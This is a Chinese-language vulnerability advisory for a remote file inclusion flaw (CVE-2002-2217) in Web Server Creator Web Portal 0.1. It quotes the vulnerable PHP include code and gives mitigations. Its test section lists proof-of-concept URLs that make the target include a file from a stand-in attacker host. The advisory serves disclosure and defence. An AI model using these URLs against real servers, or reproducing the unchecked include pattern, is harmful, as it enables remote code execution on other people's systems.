Web Server Creator Web Portal远程文件包含漏洞
发布日期:2002-11-25
更新日期:2002-12-03
受影响系统:Web Server Creator Web Server Creator Web Portal 0.1
描述:
BUGTRAQ ID:
6251
CVE(CAN) ID:
CVE-2002-2217
Web Server Creator Web Portal是一款方便创建WEB结构的程序。
Web Server Creator Web Portal中的customize.php和index.php脚本对用户提交的输入缺少正确检查,远程攻击者可以利用这个漏洞包含远程服务器上的任意文件,导致文件中的代码以WEB权限在服务器上执行。
customize.php和index.php脚本存在如下代码,对要包含的文件路径缺少正确限制:
news/include/customize.php :
------------------
<?
$langfile = $l;
include $l;
?>
------------------
index.php :
-----------------------------------
[...]
if (!$pg) { $pg = "acceuil"; }
[...]
require ("$pg.php");
?>
[...]
-----------------------------------
远程攻击者可以在自己控制的服务器上建立包含恶意代码的文件,通过customize.php和index.php脚本来包含这个远程恶意文件,可导致文件中的恶意代码(如Php代码)以WEB进程权限在系统上执行。
<*来源:Frog Man (
leseulfrog@hotmail.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=103825361930536&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Frog Man 提供了如下测试方法:
http://[target]/news/include/customize.php?l=http://[attacker]/file.txt
with
http://[attacker]/file.txt
http://[target]/index.php?pg=http://[attacker]/badfile
with
http://[attacker]/badfile.php
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 在index.php文件中,使用如下代码:
if (file_exists($pg.".php")){ require ("$pg.php"); }
代替:
require ("$pg.php");
* 在php.ini配置文件中设置'allow_url_fopen'和'register_globals'为'off'。
厂商补丁:
Web Server Creator
------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://webcreator[dot]com02[dot]com浏览次数:3102
严重程度:0(网友投票)